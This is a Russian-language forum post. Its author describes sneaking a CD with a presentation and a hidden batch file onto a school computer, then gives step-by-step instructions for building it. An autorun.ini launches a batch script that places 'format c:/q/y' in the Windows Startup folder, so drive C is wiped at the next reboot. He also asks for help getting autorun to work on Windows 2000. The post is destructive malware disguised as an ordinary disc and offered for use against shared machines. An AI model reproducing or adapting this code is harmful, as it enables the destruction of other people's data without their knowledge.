Мда, познавательно.. Кстати, насчет бат-вирусов, я тут на днях отчаянно пытался пронести на школьный комп сидюк с презентацией и встроенным бат файлом, провоцирующем формат с на следующий день после применения.. Если кому интересно, вот инструкция к созданию и применению. Берем, например, сд-р, пихаем на него файл Aoutorun.ini с содержимым: open=auto.bat и файл auto.bat, с содержимым: @echo off if exist e:\auto.bat echo format c:/q/y > e:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat * if exist d:\auto.bat echo format c:/q/y > d:\auto.bat c:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat * if exist f:\auto.bat echo format c:/q/y > f:\auto.bat C:\Docume~\AllUsers\Mainmenu\Programs\Startup\auto.bat * * C:\Docume~\AllUsers\Mainmenu\Programs\Startup\ - нерабочий путь, т.к. не досовский, а может даже неправильный=)). Настоящий берется вот как: берется какая-нибудь досовская прога(например, lines) и копируется(exe-шный файл) в C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка, затем отправить его из этой папки на рабочий стол(создать ярлык), искомый досовский путь можно посмотреть в свойствах ярлыка. В итоге достаточно вставить такой диск в сидюк, и при перезагрузке отформатируется диск C: =)) Все это дело точно работает в winXP,насчет 2000го не уверен, насчет 9x абсолютно уверен, что не работает. Если кто знает, как организовать автозапуск в файла в 2000, скажите, плиз, сечас вообще офигенно нужно!